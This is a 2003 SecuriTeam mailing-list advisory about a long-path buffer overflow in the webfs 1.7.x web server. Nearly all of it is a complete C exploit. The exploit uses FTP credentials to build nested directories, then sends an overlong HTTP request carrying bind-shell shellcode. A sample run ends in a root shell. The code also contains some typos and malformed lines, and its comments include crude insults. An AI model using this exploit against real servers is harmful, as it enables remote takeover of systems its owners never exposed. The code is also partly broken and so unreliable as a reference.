

[EXPL] WebFS Long File Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0092.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/23/03

To: list@securiteam.com

Date: 23 Nov 2003 14:11:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

WebFS Long File Overflow Exploit

SUMMARY

<<http://bytesex.org/webfs.html>> webfs is a lightweight HTTP server, a vulnerability in the product allows attackers that are able to create directories to cause the product to execute arbitrary code by overflowing an internal buffer.

The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
/******\n *hate money. if you have much. please shit ,lol...\n *only love #ph4nt0m(irc.ox557.org) #cheese..(sec..)\n *page: jsk.ph4nt0m.org\n *love taiwan. nah :( chen&li. go die.....\n *[root@localhost root]# ./hack -h 127.0.0.1 -p 80 -u jsk -a 3465008 -c\n /*tmp\n *webfs 1.7.x:webserver remote file overflow exploit (use ftpd to mkdir)\n *Greetings all #ph4nt0m .\n *it is too shit .
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
*[+] Hostname: 127.0.0.1
*[+] Port num: 80
*[+] Retaddr address: 0xbfffd838
*[1] #1 Set codes.
*[*] attempting to connect: 127.0.0.1:21.
*[*] successfully connected: 127.0.0.1:21.
*<- 220 ProFTPD 1.2.8 Server (ProFTPD Default Installation)
[localhost.*localdo...<- Proftpd
*-> USER jsk
*<- 331 Password required for jsk.
*-> PASS 3465008
*<- 230 User jsk logged in.
*-> CWD /tmp
*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```

BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 257
"/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> CWD
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD ?????????????????????????????????????????????????????????
*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBB...-> *CWD
????????????????????????????????????????????????????????????
*<- 250 CWD command successful.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:80.
*[*] successfully connected: 127.0.0.1:80.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.

```

*Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686

*i686 i386 GNU/Linux

*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

*****/

```

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <getopt.h>
#include <ctype.h>
#include <time.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

```

```

#define BUFSIZE 220
#define BUFSIZE2 166
#define BUFSIZE3 1024
#define D_PORT 5803

```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
#define D_HOST "www.ph4nt0m.org"
#define TIMEOUT 10
#define jretaddr 0x80588a8 /* Use 0x44434241 debug x/30000x $eax-10000. */
unsigned short no_io=0; /* do not show traffic. */
unsigned int attempts=100; /* number of times to brute. */
unsigned int columns=80; /* generic screen width. */
unsigned int ftp_i=0;
char *user; /* username to use. */
char *pass; /* password to use. */
char *writedir;
char shell[]= /* bindshell(26112)&, netric. */

    "\x90\x90\x90\x31\xdb\xef\x3\x53\x43\x53"
    "\x6a\x02\x89\xe1\xb0\x66\x52"
    "\x50\xcd\x80\x43\x66\x53\x89"
    "\xe1\x6a\x10\x51\x50\x89\xe1"
    "\x52\x50\xb0\x66\xcd\x80\x89"
    "\xe1\xb3\x04\xb0\x66\xcd\x80"
    "\x43\xb0\x66\xcd\x80\x89\xd9"
    "\x93\xb0\x3f\xcd\x80\x49\x79"
    "\xf9\x52\x68\x6e\x2f\x73\x68"
    "\x68\x2f\x2f\x62\x69\x89\xe3"
    "\x52\x53\x89\xe1\xb0\x0b\xcd"
    "\x80";
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};

struct op_plat_st __pl_form[]=
{
{0,"red 8.0",0xbfffd838,0},
{1,"DEADOS",0x44434241,0},
NULL
};
void filter_text(char *);
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void ftp_printf(int,char *,...);
void ftp_read(int);
void ftp_parse(int);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n webfs 1.7.x:webserver remote buffer overflow
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
exploit)\n");
fprintf(stdout, " Greetts all #ph4nt0m .\n");
fprintf(stdout, " it is too shit .\n");
}

void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout, "\n Usage: %s -[option] [arguments]\n\n", x_fp_rm);
fprintf(stdout, "\t -h [hostname] - target host.\n");
fprintf(stdout, "\t -p [port] - port number.\n");
fprintf(stdout, "\t -u [user] - user.\n");
fprintf(stdout, "\t -a [pass] - pass.\n");
fprintf(stdout, "\t -c [file] - writetmp.\n");
fprintf(stdout, "\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout, " Example> %s -h target_hostname -p 8000 -u jsk -a 1234 -c
/tmp -t num\n", x_fp_rm);
fprintf(stdout, " Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout, "\t { %d}
%s\n", __pl_form[__t_xmp].op_plat_num, __pl_form[__t_xmp].op_plat_sys);
}

__t_xmp++;
}

fprintf(stdout, "\n");
exit(0);
}

int main(int argc, char *argv[])
{
int port=D_PORT;
char hostname[0x333]=D_HOST;
int whlp, type=0;
unsigned int i=0;
char buf[141];
char buf2[2078];
char sendbuf[3150];
char buf3[141];
int sd;
int ftpsd;
u_long retaddr=__pl_form[type].retaddr;

(void)banrl();
while((whlp=getopt(argc, argv, "T:t:H:h:u:c:a:P:p:liXx"))!=EOF)
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;

case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 'u':
if(!user&&!(user=(char *)strdup(optarg)))
    printe("main(): allocating memory failed.",1);
break;
case 'a':
if(!pass&&!(pass=(char *)strdup(optarg)))
    printe("main(): allocating memory failed.",1);
break;
case 'c':
if(!writedir&&!(writedir=(char *)strdup(optarg)))
    printe("main(): allocating memory failed.",1);
break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'I':
case 'i':
fprintf(stderr," Try ` %s -?' for more information.\n\n",argv[0]);
exit(-1);

case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}

if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
}
else
{
fprintf(stdout, "[+] Hostname: %s\n",hostname);
fprintf(stdout, "[+] Port num: %d\n",port);
fprintf(stdout, "[+] Retaddr address: %p\n",retaddr);
}

fprintf(stdout, "[1] #1 Set codes.\n");
ftpsd=sock_connect(hostname,21);
ftp_parse(ftpsd);
memset(buf3,0x42,141);
memset(buf2,0x90,1000);
memcpy(buf2+1000,shell,strlen(shell));
memset(buf2+1000+strlen(shell),0x90,1000);
snprintf(sendbuf,3150,"GET /%s/%s/%s/%s/%s/%s/%s/ HTTP/1.0\r\nUser-Agent:
%s\r\n\r\n",buf3,buf3,buf3,buf3,buf3,buf3,buf3,buf2);
fprintf(stdout, "[1] #1 Set socket.\n");

sd=sock_connect(hostname,port);
fprintf(stdout, "[1] #1 Send codes.\n");
write(sd,sendbuf,3150);

close(sd);
sleep(10);
fprintf(stdout, "[1] #3 Get shell.\n");
getshell(hostname,26112);
exit(0);
}

unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}

signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("netris connection failed.",1);
alarm(0);
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}

void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))===-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}

sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}

alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}

if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
}
}

close(sock);
return;
}

void printe(char *err,short e){
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
if(e)
exit(1);
return;
}

void filter_text(char *ptr){
unsigned int i=0;
for(i=0;i<strlen(ptr);i++){
/* keep it short and sweet. */
if(i>=(columns-3)){
ptr[i--]=0x0;
ptr[i--]='.';
ptr[i--]='.';
ptr[i]='.';
}
/* don't make \r or \n a '?' */
else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
/* don't ugly the local terminal. */
else if(!isprint(ptr[i]))ptr[i]='?';
}
return;
}

void ftp_printf(int ftpsd,char *fmt,...){
char *buf;
va_list ap;
if(!(buf=(char *)malloc(1024+1)))
printe("ftp_printf(): allocating memory failed.",1);
memset(buf,0x0,1024+1);
va_start(ap,fmt);
vsprintf(buf,1024,fmt,ap);
va_end(ap);
write(ftpsd,buf,strlen(buf)); /* write it, then mod it for display. */
filter_text(buf);
if(!no_io)
printf("-> %s\n",buf);
free(buf);
return;
}

void ftp_read(int ftpsd){
char *buf;
if(!(buf=(char *)malloc(1024+1)))
printe("ftp_read(): allocating memory failed.",1);
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
memset(buf,0x0,1024);
read(ftpsd,buf,1024);
filter_text(buf);
if(!no_io)
    printf("<- %s\n",buf);
/* some initial reply checking, not too much. */
if(!ftp_i)
    if(!strstr(buf,"GtkFTPd"))
        printf("<- %s\n","Proftpd");
if(ftp_i==2)
    if(strncmp(buf,"230",3)
        printe("invalid username/password, failed.",1);
if(ftp_i==3)
    if(strncmp(buf,"250",3)
        printe("invalid writable directory, failed. (try \"^\")",1);
free(buf);
ftp_i++; /* increase the response identifier. */
return;
}
void ftp_parse(int ftpsd){
char *buf4;
char *bux;
if(!(buf4=(char *)malloc(141+1)))
    printe(" allocating memory failed.",1);
if(!(bux=(char *)malloc(56+1)))
    printe(" allocating memory failed.",1);
unsigned int offset=0;
unsigned int i=0;
memset(buf4, 0x42 , 141);
for(i=0;i<56;i+=4){*(long *)&bux[i]=jretaddr;}
ftp_read(ftpsd); /* get the banner. */
ftp_printf(ftpsd,"USER %s\r\n",user);
ftp_read(ftpsd);
ftp_printf(ftpsd,"PASS %s\r\n",pass);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",writedir);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
```

Securiteam: [EXPL] WebFS Long File Overflow Exploit

```
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
sleep(10);
close(ftpsd);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jsk@ph4nt0m.net>> jsk.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.